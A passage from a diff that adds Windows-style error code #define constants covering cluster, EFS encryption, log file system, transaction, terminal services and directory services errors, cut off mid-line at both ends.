0x1769 +#define ERROR_CLUSTER_FAULT_DOMAIN_PARENT_NOT_FOUND 0x176a +#define ERROR_CLUSTER_FAULT_DOMAIN_INVALID_HIERARCHY 0x176b +#define ERROR_CLUSTER_FAULT_DOMAIN_FAILED_S2D_VALIDATION 0x176c +#define ERROR_CLUSTER_FAULT_DOMAIN_S2D_CONNECTIVITY_LOSS 0x176d +#define ERROR_CLUSTER_INVALID_INFRASTRUCTURE_FILESERVER_NAME 0x176e +#define ERROR_CLUSTERSET_MANAGEMENT_CLUSTER_UNREACHABLE 0x176f +#define ERROR_ENCRYPTION_FAILED 0x1770 +#define ERROR_DECRYPTION_FAILED 0x1771 +#define ERROR_FILE_ENCRYPTED 0x1772 +#define ERROR_NO_RECOVERY_POLICY 0x1773 +#define ERROR_NO_EFS 0x1774 +#define ERROR_WRONG_EFS 0x1775 +#define ERROR_NO_USER_KEYS 0x1776 +#define ERROR_FILE_NOT_ENCRYPTED 0x1777 +#define ERROR_NOT_EXPORT_FORMAT 0x1778 +#define ERROR_FILE_READ_ONLY 0x1779 +#define ERROR_DIR_EFS_DISALLOWED 0x177a +#define ERROR_EFS_SERVER_NOT_TRUSTED 0x177b +#define ERROR_BAD_RECOVERY_POLICY 0x177c +#define ERROR_EFS_ALG_BLOB_TOO_BIG 0x177d +#define ERROR_VOLUME_NOT_SUPPORT_EFS 0x177e +#define ERROR_EFS_DISABLED 0x177f +#define ERROR_EFS_VERSION_NOT_SUPPORT 0x1780 +#define ERROR_CS_ENCRYPTION_INVALID_SERVER_RESPONSE 0x1781 +#define ERROR_CS_ENCRYPTION_UNSUPPORTED_SERVER 0x1782 +#define ERROR_CS_ENCRYPTION_EXISTING_ENCRYPTED_FILE 0x1783 +#define ERROR_CS_ENCRYPTION_NEW_ENCRYPTED_FILE 0x1784 +#define ERROR_CS_ENCRYPTION_FILE_NOT_CSE 0x1785 +#define ERROR_ENCRYPTION_POLICY_DENIES_OPERATION 0x1786 +#define ERROR_WIP_ENCRYPTION_FAILED 0x1787 +#define ERROR_PDE_ENCRYPTION_UNAVAILABLE_FAILURE 0x1788 +#define ERROR_PDE_DECRYPTION_UNAVAILABLE_FAILURE 0x1789 +#define ERROR_PDE_DECRYPTION_UNAVAILABLE 0x178a +#define ERROR_NO_BROWSER_SERVERS_FOUND 0x17e6 +#define ERROR_CLUSTER_OBJECT_IS_CLUSTER_SET_VM 0x186a +#define ERROR_CNU_TEMPLATE_ALREADY_EXISTS 0x186b +#define ERROR_CNU_TEMPLATE_NAME_NOT_FOUND 0x186c +#define ERROR_CNU_RUN_NAME_NOT_FOUND 0x186d +#define ERROR_CNU_RUN_ALREADY_IN_PROGRESS 0x186e +#define ERROR_CNU_RUN_NOT_IN_PROGRESS 0x186f +#define ERROR_CNU_NOT_READY 0x1870 +#define ERROR_CAMERA_INVALID_CONFIGURATION 0x18ce +#define ERROR_CAMERA_INSUFFICIENT_BANDWIDTH 0x18cf +#define ERROR_LOG_SECTOR_INVALID 0x19c8 +#define ERROR_LOG_SECTOR_PARITY_INVALID 0x19c9 +#define ERROR_LOG_SECTOR_REMAPPED 0x19ca +#define ERROR_LOG_BLOCK_INCOMPLETE 0x19cb +#define ERROR_LOG_INVALID_RANGE 0x19cc +#define ERROR_LOG_BLOCKS_EXHAUSTED 0x19cd +#define ERROR_LOG_READ_CONTEXT_INVALID 0x19ce +#define ERROR_LOG_RESTART_INVALID 0x19cf +#define ERROR_LOG_BLOCK_VERSION 0x19d0 +#define ERROR_LOG_BLOCK_INVALID 0x19d1 +#define ERROR_LOG_READ_MODE_INVALID 0x19d2 +#define ERROR_LOG_NO_RESTART 0x19d3 +#define ERROR_LOG_METADATA_CORRUPT 0x19d4 +#define ERROR_LOG_METADATA_INVALID 0x19d5 +#define ERROR_LOG_METADATA_INCONSISTENT 0x19d6 +#define ERROR_LOG_RESERVATION_INVALID 0x19d7 +#define ERROR_LOG_CANT_DELETE 0x19d8 +#define ERROR_LOG_CONTAINER_LIMIT_EXCEEDED 0x19d9 +#define ERROR_LOG_START_OF_LOG 0x19da +#define ERROR_LOG_POLICY_ALREADY_INSTALLED 0x19db +#define ERROR_LOG_POLICY_NOT_INSTALLED 0x19dc +#define ERROR_LOG_POLICY_INVALID 0x19dd +#define ERROR_LOG_POLICY_CONFLICT 0x19de +#define ERROR_LOG_PINNED_ARCHIVE_TAIL 0x19df +#define ERROR_LOG_RECORD_NONEXISTENT 0x19e0 +#define ERROR_LOG_RECORDS_RESERVED_INVALID 0x19e1 +#define ERROR_LOG_SPACE_RESERVED_INVALID 0x19e2 +#define ERROR_LOG_TAIL_INVALID 0x19e3 +#define ERROR_LOG_FULL 0x19e4 +#define ERROR_COULD_NOT_RESIZE_LOG 0x19e5 +#define ERROR_LOG_MULTIPLEXED 0x19e6 +#define ERROR_LOG_DEDICATED 0x19e7 +#define ERROR_LOG_ARCHIVE_NOT_IN_PROGRESS 0x19e8 +#define ERROR_LOG_ARCHIVE_IN_PROGRESS 0x19e9 +#define ERROR_LOG_EPHEMERAL 0x19ea +#define ERROR_LOG_NOT_ENOUGH_CONTAINERS 0x19eb +#define ERROR_LOG_CLIENT_ALREADY_REGISTERED 0x19ec +#define ERROR_LOG_CLIENT_NOT_REGISTERED 0x19ed +#define ERROR_LOG_FULL_HANDLER_IN_PROGRESS 0x19ee +#define ERROR_LOG_CONTAINER_READ_FAILED 0x19ef +#define ERROR_LOG_CONTAINER_WRITE_FAILED 0x19f0 +#define ERROR_LOG_CONTAINER_OPEN_FAILED 0x19f1 +#define ERROR_LOG_CONTAINER_STATE_INVALID 0x19f2 +#define ERROR_LOG_STATE_INVALID 0x19f3 +#define ERROR_LOG_PINNED 0x19f4 +#define ERROR_LOG_METADATA_FLUSH_FAILED 0x19f5 +#define ERROR_LOG_INCONSISTENT_SECURITY 0x19f6 +#define ERROR_LOG_APPENDED_FLUSH_FAILED 0x19f7 +#define ERROR_LOG_PINNED_RESERVATION 0x19f8 +#define ERROR_INVALID_TRANSACTION 0x1a2c +#define ERROR_TRANSACTION_NOT_ACTIVE 0x1a2d +#define ERROR_TRANSACTION_REQUEST_NOT_VALID 0x1a2e +#define ERROR_TRANSACTION_NOT_REQUESTED 0x1a2f +#define ERROR_TRANSACTION_ALREADY_ABORTED 0x1a30 +#define ERROR_TRANSACTION_ALREADY_COMMITTED 0x1a31 +#define ERROR_TM_INITIALIZATION_FAILED 0x1a32 +#define ERROR_RESOURCEMANAGER_READ_ONLY 0x1a33 +#define ERROR_TRANSACTION_NOT_JOINED 0x1a34 +#define ERROR_TRANSACTION_SUPERIOR_EXISTS 0x1a35 +#define ERROR_CRM_PROTOCOL_ALREADY_EXISTS 0x1a36 +#define ERROR_TRANSACTION_PROPAGATION_FAILED 0x1a37 +#define ERROR_CRM_PROTOCOL_NOT_FOUND 0x1a38 +#define ERROR_TRANSACTION_INVALID_MARSHALL_BUFFER 0x1a39 +#define ERROR_CURRENT_TRANSACTION_NOT_VALID 0x1a3a +#define ERROR_TRANSACTION_NOT_FOUND 0x1a3b +#define ERROR_RESOURCEMANAGER_NOT_FOUND 0x1a3c +#define ERROR_ENLISTMENT_NOT_FOUND 0x1a3d +#define ERROR_TRANSACTIONMANAGER_NOT_FOUND 0x1a3e +#define ERROR_TRANSACTIONMANAGER_NOT_ONLINE 0x1a3f +#define ERROR_TRANSACTIONMANAGER_RECOVERY_NAME_COLLISION 0x1a40 +#define ERROR_TRANSACTION_NOT_ROOT 0x1a41 +#define ERROR_TRANSACTION_OBJECT_EXPIRED 0x1a42 +#define ERROR_TRANSACTION_RESPONSE_NOT_ENLISTED 0x1a43 +#define ERROR_TRANSACTION_RECORD_TOO_LONG 0x1a44 +#define ERROR_IMPLICIT_TRANSACTION_NOT_SUPPORTED 0x1a45 +#define ERROR_TRANSACTION_INTEGRITY_VIOLATED 0x1a46 +#define ERROR_TRANSACTIONMANAGER_IDENTITY_MISMATCH 0x1a47 +#define ERROR_RM_CANNOT_BE_FROZEN_FOR_SNAPSHOT 0x1a48 +#define ERROR_TRANSACTION_MUST_WRITETHROUGH 0x1a49 +#define ERROR_TRANSACTION_NO_SUPERIOR 0x1a4a +#define ERROR_HEURISTIC_DAMAGE_POSSIBLE 0x1a4b +#define ERROR_TRANSACTIONAL_CONFLICT 0x1a90 +#define ERROR_RM_NOT_ACTIVE 0x1a91 +#define ERROR_RM_METADATA_CORRUPT 0x1a92 +#define ERROR_DIRECTORY_NOT_RM 0x1a93 +#define ERROR_TRANSACTIONS_UNSUPPORTED_REMOTE 0x1a95 +#define ERROR_LOG_RESIZE_INVALID_SIZE 0x1a96 +#define ERROR_OBJECT_NO_LONGER_EXISTS 0x1a97 +#define ERROR_STREAM_MINIVERSION_NOT_FOUND 0x1a98 +#define ERROR_STREAM_MINIVERSION_NOT_VALID 0x1a99 +#define ERROR_MINIVERSION_INACCESSIBLE_FROM_SPECIFIED_TRANSACTION 0x1a9a +#define ERROR_CANT_OPEN_MINIVERSION_WITH_MODIFY_INTENT 0x1a9b +#define ERROR_CANT_CREATE_MORE_STREAM_MINIVERSIONS 0x1a9c +#define ERROR_REMOTE_FILE_VERSION_MISMATCH 0x1a9e +#define ERROR_HANDLE_NO_LONGER_VALID 0x1a9f +#define ERROR_NO_TXF_METADATA 0x1aa0 +#define ERROR_LOG_CORRUPTION_DETECTED 0x1aa1 +#define ERROR_CANT_RECOVER_WITH_HANDLE_OPEN 0x1aa2 +#define ERROR_RM_DISCONNECTED 0x1aa3 +#define ERROR_ENLISTMENT_NOT_SUPERIOR 0x1aa4 +#define ERROR_RECOVERY_NOT_NEEDED 0x1aa5 +#define ERROR_RM_ALREADY_STARTED 0x1aa6 +#define ERROR_FILE_IDENTITY_NOT_PERSISTENT 0x1aa7 +#define ERROR_CANT_BREAK_TRANSACTIONAL_DEPENDENCY 0x1aa8 +#define ERROR_CANT_CROSS_RM_BOUNDARY 0x1aa9 +#define ERROR_TXF_DIR_NOT_EMPTY 0x1aaa +#define ERROR_INDOUBT_TRANSACTIONS_EXIST 0x1aab +#define ERROR_TM_VOLATILE 0x1aac +#define ERROR_ROLLBACK_TIMER_EXPIRED 0x1aad +#define ERROR_TXF_ATTRIBUTE_CORRUPT 0x1aae +#define ERROR_EFS_NOT_ALLOWED_IN_TRANSACTION 0x1aaf +#define ERROR_TRANSACTIONAL_OPEN_NOT_ALLOWED 0x1ab0 +#define ERROR_LOG_GROWTH_FAILED 0x1ab1 +#define ERROR_TRANSACTED_MAPPING_UNSUPPORTED_REMOTE 0x1ab2 +#define ERROR_TXF_METADATA_ALREADY_PRESENT 0x1ab3 +#define ERROR_TRANSACTION_SCOPE_CALLBACKS_NOT_SET 0x1ab4 +#define ERROR_TRANSACTION_REQUIRED_PROMOTION 0x1ab5 +#define ERROR_CANNOT_EXECUTE_FILE_IN_TRANSACTION 0x1ab6 +#define ERROR_TRANSACTIONS_NOT_FROZEN 0x1ab7 +#define ERROR_TRANSACTION_FREEZE_IN_PROGRESS 0x1ab8 +#define ERROR_NOT_SNAPSHOT_VOLUME 0x1ab9 +#define ERROR_NO_SAVEPOINT_WITH_OPEN_FILES 0x1aba +#define ERROR_DATA_LOST_REPAIR 0x1abb +#define ERROR_SPARSE_NOT_ALLOWED_IN_TRANSACTION 0x1abc +#define ERROR_TM_IDENTITY_MISMATCH 0x1abd +#define ERROR_FLOATED_SECTION 0x1abe +#define ERROR_CANNOT_ACCEPT_TRANSACTED_WORK 0x1abf +#define ERROR_CANNOT_ABORT_TRANSACTIONS 0x1ac0 +#define ERROR_BAD_CLUSTERS 0x1ac1 +#define ERROR_COMPRESSION_NOT_ALLOWED_IN_TRANSACTION 0x1ac2 +#define ERROR_VOLUME_DIRTY 0x1ac3 +#define ERROR_NO_LINK_TRACKING_IN_TRANSACTION 0x1ac4 +#define ERROR_OPERATION_NOT_SUPPORTED_IN_TRANSACTION 0x1ac5 +#define ERROR_EXPIRED_HANDLE 0x1ac6 +#define ERROR_TRANSACTION_NOT_ENLISTED 0x1ac7 +#define ERROR_ENLISTMENT_NOT_INITIALIZED 0x1ac8 +#define ERROR_CTX_WINSTATION_NAME_INVALID 0x1b59 +#define ERROR_CTX_INVALID_PD 0x1b5a +#define ERROR_CTX_PD_NOT_FOUND 0x1b5b +#define ERROR_CTX_WD_NOT_FOUND 0x1b5c +#define ERROR_CTX_CANNOT_MAKE_EVENTLOG_ENTRY 0x1b5d +#define ERROR_CTX_SERVICE_NAME_COLLISION 0x1b5e +#define ERROR_CTX_CLOSE_PENDING 0x1b5f +#define ERROR_CTX_NO_OUTBUF 0x1b60 +#define ERROR_CTX_MODEM_INF_NOT_FOUND 0x1b61 +#define ERROR_CTX_INVALID_MODEMNAME 0x1b62 +#define ERROR_CTX_MODEM_RESPONSE_ERROR 0x1b63 +#define ERROR_CTX_MODEM_RESPONSE_TIMEOUT 0x1b64 +#define ERROR_CTX_MODEM_RESPONSE_NO_CARRIER 0x1b65 +#define ERROR_CTX_MODEM_RESPONSE_NO_DIALTONE 0x1b66 +#define ERROR_CTX_MODEM_RESPONSE_BUSY 0x1b67 +#define ERROR_CTX_MODEM_RESPONSE_VOICE 0x1b68 +#define ERROR_CTX_TD_ERROR 0x1b69 +#define ERROR_CTX_WINSTATION_NOT_FOUND 0x1b6e +#define ERROR_CTX_WINSTATION_ALREADY_EXISTS 0x1b6f +#define ERROR_CTX_WINSTATION_BUSY 0x1b70 +#define ERROR_CTX_BAD_VIDEO_MODE 0x1b71 +#define ERROR_CTX_GRAPHICS_INVALID 0x1b7b +#define ERROR_CTX_LOGON_DISABLED 0x1b7d +#define ERROR_CTX_NOT_CONSOLE 0x1b7e +#define ERROR_CTX_CLIENT_QUERY_TIMEOUT 0x1b80 +#define ERROR_CTX_CONSOLE_DISCONNECT 0x1b81 +#define ERROR_CTX_CONSOLE_CONNECT 0x1b82 +#define ERROR_CTX_SHADOW_DENIED 0x1b84 +#define ERROR_CTX_WINSTATION_ACCESS_DENIED 0x1b85 +#define ERROR_CTX_INVALID_WD 0x1b89 +#define ERROR_CTX_SHADOW_INVALID 0x1b8a +#define ERROR_CTX_SHADOW_DISABLED 0x1b8b +#define ERROR_CTX_CLIENT_LICENSE_IN_USE 0x1b8c +#define ERROR_CTX_CLIENT_LICENSE_NOT_SET 0x1b8d +#define ERROR_CTX_LICENSE_NOT_AVAILABLE 0x1b8e +#define ERROR_CTX_LICENSE_CLIENT_INVALID 0x1b8f +#define ERROR_CTX_LICENSE_EXPIRED 0x1b90 +#define ERROR_CTX_SHADOW_NOT_RUNNING 0x1b91 +#define ERROR_CTX_SHADOW_ENDED_BY_MODE_CHANGE 0x1b92 +#define ERROR_ACTIVATION_COUNT_EXCEEDED 0x1b93 +#define ERROR_CTX_WINSTATIONS_DISABLED 0x1b94 +#define ERROR_CTX_ENCRYPTION_LEVEL_REQUIRED 0x1b95 +#define ERROR_CTX_SESSION_IN_USE 0x1b96 +#define ERROR_CTX_NO_FORCE_LOGOFF 0x1b97 +#define ERROR_CTX_ACCOUNT_RESTRICTION 0x1b98 +#define ERROR_RDP_PROTOCOL_ERROR 0x1b99 +#define ERROR_CTX_CDM_CONNECT 0x1b9a +#define ERROR_CTX_CDM_DISCONNECT 0x1b9b +#define ERROR_CTX_SECURITY_LAYER_ERROR 0x1b9c +#define ERROR_TS_INCOMPATIBLE_SESSIONS 0x1b9d +#define ERROR_TS_VIDEO_SUBSYSTEM_ERROR 0x1b9e +#define ERROR_DS_NOT_INSTALLED 0x2008 +#define ERROR_DS_MEMBERSHIP_EVALUATED_LOCALLY 0x2009 +#define ERROR_DS_NO_ATTRIBUTE_OR_VALUE 0x200a +#define ERROR_DS_INVALID_ATTRIBUTE_SYNTAX 0x200b +#define ERROR_DS_ATTRIBUTE_TYPE_UNDEFINED 0x200c +#define ERROR_DS_ATTRIBUTE_OR_VALUE_EXISTS 0x200d +#define ERROR_DS_BUSY 0x200e +#define ERROR_DS_UNAVAILABLE 0x200f +#define ERROR_DS_NO_RIDS_ALLOCATED 0x2010 +#define ERROR_DS_NO_MORE_RIDS 0x2011 +#define ERROR_DS_INCORRECT_ROLE_OWNER 0x2012 +#define ERROR_DS_RIDMGR_INIT_ERROR 0x2013 +#define ERROR_DS_OBJ_CLASS_VIOLATION 0x2014 +#define ERROR_DS_CANT_ON_NON_LEAF 0x2015 +#define ERROR_DS_CANT_ON_RDN 0x2016 +#define ERROR_DS_CANT_MOD_OBJ_CLASS 0x2017 +#define ERROR_DS_CROSS_DOM_MOVE_ERROR 0x2018 +#define ERROR_DS_GC_NOT_AVAILABLE 0x2019 +#define ERROR_SHARED_POLICY 0x201a +#define ERROR_POLICY_OBJECT_NOT_FOUND 0x201b +#define ERROR_POLICY_ONLY_IN_DS 0x201c +#define ERROR_PROMOTION_ACTIVE 0x201d +#define ERROR_NO_PROMOTION_ACTIVE 0x201e +#define ERROR_DS_OPERATIONS_ERROR 0x2020 +#define ERROR_DS_PROTOCOL_ERROR 0x2021 +#define ERROR_DS_TIMELIMIT_EXCEEDED 0x2022 +#define ERROR_DS_SIZELIMIT_EXCEEDED 0x2023 +#define ERROR_DS_ADMIN_LIMIT_EXCEEDED 0x2024 +#define ERROR_DS_COMPARE_FALSE 0x2025 +#define ERROR_DS_COMPARE_TRUE 0x2026 +#define ERROR_DS_AUTH_METHOD_NOT_SUPPORTED 0x2027 +#define ERROR_DS_STRONG_AUTH_REQUIRED 0x2028 +#define ERROR_DS_INAPPROPRIATE_AUTH 0x2029 +#define ERROR_DS_AUTH_UNKNOWN 0x202a +#define ERROR_DS_REFERRAL 0x202b +#define ERROR_DS_UNAVAILABLE_CRIT_EXTENSION 0x202c +#define ERROR_DS_CONFIDENTIALITY_REQUIRED 0x202d +#define ERROR_DS_INAPPROPRIATE_MATCHING 0x202e +#define ERROR_DS_CONSTRAINT_VIOLATION 0x202f +#define ERROR_DS_NO_SUCH_OBJECT 0x2030 +#define ERROR_DS_ALIAS_PROBLEM 0x2031 +#define ERROR_DS_INVALID_DN_SYNTAX 0x2032 +#define ERROR_DS_IS_LEAF 0x2033 +#define ERROR_DS_ALIAS_DEREF_PROBLEM 0x2034 +#define ERROR_DS_UNWILLING_TO_PERFORM 0x2035 +#define ERROR_DS_LOOP_DETECT 0x2036 +#define ERROR_DS_NAMING_VIOLATION 0x2037 +#define ERROR_DS_OBJECT_RESULTS_TOO_LARGE 0x2038 +#define ERROR_DS_AFFECTS_MULTIPLE_DSAS 0x2039 +#define ERROR_DS_SERVER_DOWN 0x203a +#define ERROR_DS_LOCAL_ERROR 0x203b +#define ERROR_DS_ENCODING_ERROR 0x203c +#define ERROR_DS_DECODING_ERROR 0x203d +#define ERROR_DS_FILTER_UNKNOWN 0x203e +#define ERROR_DS_PARAM_ERROR 0x203f +#define ERROR_DS_NOT_SUPPORTED 0x2040 +#define ERROR_DS_NO_RESULTS_RETURNED 0x2041 +#define ERROR_DS_CONTROL_NOT_FOUND 0x2042 +#define ERROR_DS_CLIENT_LOOP 0x2043 +#define ERROR_DS_REFERRAL_LIMIT_EXCEEDED 0x2044 +#define ERROR_DS_SORT_CONTROL_MISSING 0x2045 +#define ERROR_DS_OFFSET_RANGE_ERROR 0x2046 +#define ERROR_DS_RIDMGR_DISABLED 0x2047 +#define ERROR_DS_ROOT_MUST_BE_NC 0x206d +#define ERROR_DS_ADD_REPLICA_INHIBITED 0x206e +#define ERROR_DS_ATT_NOT_DEF_IN_SCHEMA 0x206f +#define ERROR_DS_MAX_OBJ_SIZE_EXCEEDED 0x2070 +#define ERROR_DS_OBJ_STRING_NAME_EXISTS 0x2071 +#define ERROR_DS_NO_RDN_DEFINED_IN_SCHEMA 0x2072 +#define ERROR_DS_RDN_DOESNT_MATCH_SCHEMA 0x2073 +#define ERROR_DS_NO_REQUESTED_ATTS_FOUND 0x2074 +#define ERROR_DS_USER_BUFFER_TO_SMALL 0x2075 +#define ERROR_DS_ATT_IS_NOT_ON_OBJ 0x2076 +#define ERROR_DS_ILLEGAL_MOD_OPERATION 0x2077 +#define ERROR_DS_OBJ_TOO_LARGE 0x2078 +#define ERROR_DS_BAD_INSTANCE_TYPE 0x2079 +#define ERROR_DS_MASTERDSA_REQUIRED 0x207a +#define ERROR_DS_OBJECT_CLASS_REQUIRED 0x207b +#define ERROR_DS_MISSING_REQUIRED_ATT 0x207c +#define ERROR_DS_ATT_NOT_DEF_FOR_CLASS 0x207d +#define ERROR_DS_ATT_ALREADY_EXISTS 0x207e +#define ERROR_DS_CANT_ADD_ATT_VALUES 0x2080 +#define ERROR_DS_SINGLE_VALUE_CONSTRAINT 0x2081 +#define ERROR_DS_RANGE_CONSTRAINT 0x2082 +#define ERROR_DS_ATT_VAL_ALREADY_EXISTS 0x2083 +#define ERROR_DS_CANT_REM_MISSING_ATT 0x2084 +#define ERROR_DS_CANT_REM_MISSING_ATT_VAL 0x2085 +#define ERROR_DS_ROOT_CANT_BE_SUBREF 0x2086 +#define ERROR_DS_NO_CHAINING 0x2087 +#define ERROR_DS_NO_CHAINED_EVAL 0x2088 +#define ERROR_DS_NO_PARENT_OBJECT 0x2089 +#define ERROR_DS_PARENT_IS_AN_ALIAS 0x208a +#define ERROR_DS_CANT_MIX_MASTER_AND_REPS 0x208b +#define ERROR_DS_CHILDREN_EXIST 0x208c +#define ERROR_DS_OBJ_NOT_FOUND 0x208d +#define ERROR_DS_ALIASED_OBJ_MISSING 0x208e +#define ERROR_DS_BAD_NAME_SYNTAX 0x208f +#define ERROR_DS_ALIAS_POINTS_TO_ALIAS 0x2090 +#define ERROR_DS_CANT_DEREF_ALIAS 0x2091 +#define ERROR_DS_OUT_OF_SCOPE 0x2092 +#define ERROR_DS_OBJECT_BEING_REMOVED 0x2093 +#define ERROR_DS_CANT_DELETE_DSA_OBJ 0x2094 +#define ERROR_DS_GENERIC_ERROR 0x2095 +#define ERROR_DS_DSA_MUST_BE_INT_MASTER 0x2096 +#define ERROR_DS_CLASS_NOT_DSA 0x2097 +#define ERROR_DS_INSUFF_ACCESS_RIGHTS 0x2098 +#define ERROR_DS_ILLEGAL_SUPERIOR 0x2099 +#define ERROR_DS_ATTRIBUTE_OWNED_BY_SAM 0x209a +#define ERROR_DS_NAME_TOO_MANY_PARTS 0x209b +#define ERROR_DS_NAME_TOO_LONG 0x209c +#define ERROR_DS_NAME_VALUE_TOO_LONG 0x209d +#define ERROR_DS_NAME_UNPARSEABLE 0x209e +#define ERROR_DS_NAME_TYPE_UNKNOWN 0x209f +#define ERROR_DS_NOT_AN_OBJECT 0x20a0 +#define ERROR_DS_SEC_DESC_TOO_SHORT 0x20a1 +#define ERROR_DS_SEC_DESC_INVALID 0x20a2 +#define ERROR_DS_NO_DELETED_NAME 0x20a3 +#define ERROR_DS_SUBREF_MUST_HAVE_PARENT 0x20a4 +#define ERROR_DS_NCNAME_MUST_BE_NC 0x20a5 +#define ERROR_DS_CANT_ADD_SYSTEM_ONLY 0x20a6 +#define ERROR_DS_CLASS_MUST_BE_CONCRETE 0x20a7 +#define ERROR_DS_INVALID_DMD 0x20a8 +#define ERROR_DS_OBJ_GUID_EXISTS 0x20a9 +#define ERROR_DS_NOT_ON_BACKLINK 0x20aa +#define ERROR_DS_NO_CROSSREF_FOR_NC 0x20ab +#define ERROR_DS_SHUTTING_DOWN 0x20ac +#define ERROR_DS_UNKNOWN_OPERATION 0x20ad +#define ERROR_DS_INVALID_ROLE_OWNER 0x20ae +#define ERROR_DS_COULDNT_CONTACT_FSMO 0x20af +#define ERROR_DS_CROSS_NC_DN_RENAME 0x20b0 +#define ERROR_DS_CANT_MOD_SYSTEM_ONLY 0x20b1 +#define ERROR_DS_REPLICATOR_ONLY 0x20b2 +#define ERROR_DS_OBJ_CLASS_NOT_DEFINED 0x20b3 +#define ERROR_DS_OBJ_CLASS_NOT_SUBCLASS 0x20b4 +#define ERROR_DS_NAME_REFERENCE_INVALID 0x20b5 +#define ERROR_DS_CROSS_REF_EXISTS 0x20b6 +#define ERROR_DS_CANT_DEL_MASTER_CROSSREF 0x20b7 +#define ERROR_DS_SUBTREE_NOTIFY_NOT_NC_HEAD 0x20b8 +#define ERROR_DS_NOTIFY_FILTER_TOO_COMPLEX 0x20b9 +#define ERROR_DS_DUP_RDN 0x20ba +#define ERROR_DS_DUP_OID 0x20bb +#define ERROR_DS_DUP_MAPI_ID 0x20bc +#define ERROR_DS_DUP_SCHEMA_ID_GUID 0x20bd +#define ERROR_DS_DUP_LDAP_DISPLAY_NAME 0x20be +#define ERROR_DS_SEMANTIC_ATT_TEST 0x20bf +#define ERROR_DS_SYNTAX_MISMATCH 0x20c0 +#define ERROR_DS_EXISTS_IN_MUST_HAVE 0x20c1 +#define ERROR_DS_EXISTS_IN_MAY_HAVE 0x20c2 +#define ERROR_DS_NONEXISTENT_MAY_HAVE 0x20c3 +#define ERROR_DS_NONEXISTENT_MUST_HAVE 0x20c4 +#define ERROR_DS_AUX_CLS_TEST_FAIL 0x20c5 +#define ERROR_DS_NONEXISTENT_POSS_SUP 0x20c6 +#define ERROR_DS_SUB_CLS_TEST_FAIL 0x20c7 +#define ERROR_DS_BAD_RDN_ATT_ID_SYNTAX 0x20c8 +#define ERROR_DS_EXISTS_IN_AUX_CLS 0x20c9 +#define ERROR_DS_EXISTS_IN_SUB_CLS 0x20ca +#define ERROR_DS_EXISTS_IN_POSS_SUP 0x20cb +#define ERROR_DS_RECALCSCHEMA_FAILED 0x20cc +#define ERROR_DS_TREE_DELETE_NOT_FINISHED 0x20cd +#define ERROR_DS_CANT_DELETE 0x20ce +#define ERROR_DS_ATT_SCHEMA_REQ_ID 0x20cf +#define ERROR_DS_BAD_ATT_SCHEMA_SYNTAX 0x20d0 +#define ERROR_DS_CANT_CACHE_ATT 0x20d1 +#define ERROR_DS_CANT_CACHE_CLASS 0x20d2 +#define ERROR_DS_CANT_REMOVE_ATT_CACHE 0x20d3 +#define ERROR_DS_CANT_REMOVE_CLASS_CACHE 0x20d4 +#define ERROR_DS_CANT_RETRIEVE_DN 0x20d5 +#define ERROR_DS_MISSING_SUPREF 0x20d6 +#define ERROR_DS_CANT_RETRIEVE_INSTANCE 0x20d7 +#define ERROR_DS_CODE_INCONSISTENCY 0x20d8 +#define ERROR_DS_DATABASE_ERROR 0x20d9 +#define ERROR_DS_GOVERNSID_MISSING 0x20da +#define ERROR_DS_MISSING_EXPECTED_ATT 0x20db +#define ERROR_DS_NCNAME_MISSING_CR_REF 0x20dc +#define ERROR_DS_SECURITY_CHECKING_ERROR 0x20dd +#define ERROR_DS_SCHEMA_NOT_LOADED 0x20de +#define ERROR_DS_SCHEMA_ALLOC_FAILED 0x20df +#define ERROR_DS_ATT_SCHEMA_REQ_SYNTAX 0x20e0 +#define ERROR_DS_GCVERIFY_ERROR 0x20e1 +#define ERROR_DS_DRA_SCHEMA_MISMATCH 0x20e2 +#define ERROR_DS_CANT_FIND_DSA_OBJ 0x20e3 +#define ERROR_DS_CANT_FIND_EXPECTED_NC 0x20e4 +#define ERROR_DS_CANT_FIND_NC_IN_CACHE 0x20e5 +#define ERROR_DS_CANT_RETRIEVE_CHILD 0x20e6 +#define ERROR_DS_SECURITY_ILLEGAL_MODIFY 0x20e7 +#define ERROR_DS_CANT_REPLACE_HIDDEN_REC 0x20e8 +#define ERROR_DS_BAD_HIERARCHY_FILE 0x20e9 +#define ERROR_DS_BUILD_HIERARCHY_TABLE_FAILED 0x20ea +#define ERROR_DS_CONFIG_PARAM_MISSING 0x20eb +#define ERROR_DS_COUNTING_AB_INDICES_FAILED 0x20ec +#define ERROR_DS_HIERARCHY_TABLE_MALLOC_FAILED 0x20ed +#define ERROR_DS_INTERNAL_FAILURE 0x20ee +#define ERROR_DS_UNKNOWN_ERROR 0x20ef +#define ERROR_DS_ROOT_REQUIRES_CLASS_TOP 0x20f0 +#define ERROR_DS_REFUSING_FSMO_ROLES 0x20f1 +#define ERROR_DS_MISSING_FSMO_SETTINGS 0x20f2 +#define ERROR_DS_UNABLE_TO_SURRENDER_ROLES 0x20f3 +#define ERROR_DS_DRA_GENERIC 0x20f4 +#define ERROR_DS_DRA_INVALID_PARAMETER 0x20f5 +#define ERROR_DS_DRA_BUSY 0x20f6 +#define ERROR_DS_DRA_BAD_DN 0x20f7 +#define ERROR_DS_DRA_BAD_NC 0x20f8 +#define ERROR_DS_DRA_DN_EXISTS 0x20f9 +#define ERROR_DS_DRA_INTERNAL_ERROR 0x20fa +#define ERROR_DS_DRA_INCONSISTENT_DIT 0x20fb +#define ERROR_DS_DRA_CONNECTION_FAILED 0x20fc +#define ERROR_DS_DRA_BAD_INSTANCE_TYPE 0x20fd +#define ERROR_DS_DRA_OUT_OF_MEM 0x20fe +#define ERROR_DS_DRA_MAIL_PROBLEM 0x20ff +#define ERROR_DS_DRA_REF_ALREADY_EXISTS 0x2100 +#define ERROR_DS_DRA_REF_NOT_FOUND 0x2101 +#define ERROR_DS_DRA_OBJ_IS_REP_SOURCE 0x2102 +#define ERROR_DS_DRA_DB_ERROR 0x2103 +#define ERROR_DS_DRA_NO_REPLICA 0x2104 +#define ERROR_DS_DRA_ACCESS_DENIED 0x2105 +#define ERROR_DS_DRA_NOT_SUPPORTED 0x2106 +#define ERROR_DS_DRA_RPC_CANCELLED 0x2107 +#define ERROR_DS_DRA_SOURCE_DISABLED 0x2108 +#define ERROR_DS_DRA_SINK_DISABLED 0x2109 +#define ERROR_DS_DRA_NAME_COLLISION 0x210a +#define ERROR_DS_DRA_SOURCE_REINSTALLED 0x210b +#define ERROR_DS_DRA_MISSING_PARENT 0x210c +#define ERROR_DS_DRA_PREEMPTED 0x210d +#define ERROR_DS_DRA_ABANDON_SYNC 0x210e +#define ERROR_DS_DRA_SHUTDOWN 0x210f +#define 